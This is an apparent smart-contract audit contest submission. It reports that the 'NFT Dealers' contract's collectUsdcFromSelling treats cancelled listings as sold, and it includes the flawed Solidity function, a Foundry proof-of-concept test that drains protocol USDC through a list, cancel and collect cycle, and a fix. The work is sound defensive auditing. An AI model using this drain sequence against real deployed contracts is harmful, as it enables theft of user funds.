NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` Does Not Distinguish Cancelled Listings From Sales, Enabling Protocol Drain

Author Revealed upon completion

collectUsdcFromSelling Does Not Distinguish Cancelled Listings From Sales, Enabling Protocol Drain

Description

When an NFT is sold, the protocol holds the buyer's payment until the seller calls collectUsdcFromSelling() to withdraw it. The function enforces that the listing is inactive before releasing funds.

However, the checks are insufficient and do not guarantee that the NFT was sold. A seller can cancel their listing, and collect the listing price from the protocol treasury without ever having a buyer.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
// @> inactive covers both cancelled and sold — no distinction
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
// @> fees transferred to address(this) — a no-op self-transfer
usdc.safeTransfer(address(this), fees);
// @> seller receives listing.price - fees from protocol funds, despite no buyer
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood: High

  • Any whitelisted seller can trigger this by listing at any price and cancelling - no special conditions are required.

  • The attack can be repeated with the same NFT.

Impact: High

  • Seller drains the protocol treausry per exploit cycle, with no buyer involved.

Proof of Concept

function test_CollectUsdcFromSelling_PayoutsSellerForCancelledListing() public {
// Initialize test
vm.startBroadcast(owner);
nftDealers.whitelistWallet(seller);
nftDealers.revealCollection();
vm.stopBroadcast();
​
// Assert state after initialization
assertEq(nftDealers.whitelistedUsers(seller), true);
assertEq(nftDealers.isCollectionRevealed(), true);
​
// Mint
vm.startBroadcast(seller);
usdc.approve(address(nftDealers), USDC_COLLATERAL);
nftDealers.mintNft();
vm.stopBroadcast();
​
// Assert state after mint
uint256 tokenId = 1;
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(nftDealers.collateralForMinting(tokenId), USDC_COLLATERAL);
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE + USDC_COLLATERAL);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE - USDC_COLLATERAL);
​
// List NFT
uint32 sellingPrice = 40e6;
vm.prank(seller);
nftDealers.list(tokenId, sellingPrice);
​
// Assert state after list
(address _seller, uint32 _price, address _nft, uint256 _tokenId, bool _isActive) =
nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, true);
assertEq(nftDealers.ownerOf(tokenId), seller);
​
// Cancel listing
vm.prank(seller);
nftDealers.cancelListing(tokenId);
​
// Assert state after cancelling listing
(_seller, _price, _nft, _tokenId, _isActive) = nftDealers.s_listings(tokenId);
assertEq(_seller, seller);
assertEq(_price, sellingPrice);
assertEq(_nft, address(nftDealers));
assertEq(_tokenId, tokenId);
assertEq(_isActive, false);
assertEq(nftDealers.ownerOf(tokenId), seller);
// Collateral returned back to seller
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE);
​
// Collect fees
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
// Assert state after fee collection
uint256 expectedFee = nftDealers.calculateFees(sellingPrice);
assertEq(nftDealers.ownerOf(tokenId), seller);
assertEq(usdc.balanceOf(address(nftDealers)), INITIAL_USER_BALANCE - sellingPrice + expectedFee);
assertEq(usdc.balanceOf(seller), INITIAL_USER_BALANCE + sellingPrice - expectedFee);
}

Recommended Mitigation

Track sale completion as an explicit state separate from listing cancellation.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}
​
function buy(uint256 _listingId) external payable {
// ...
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].isSold = true;
// ...
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.isSold, "NFT must have been sold to collect USDC");
// ...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!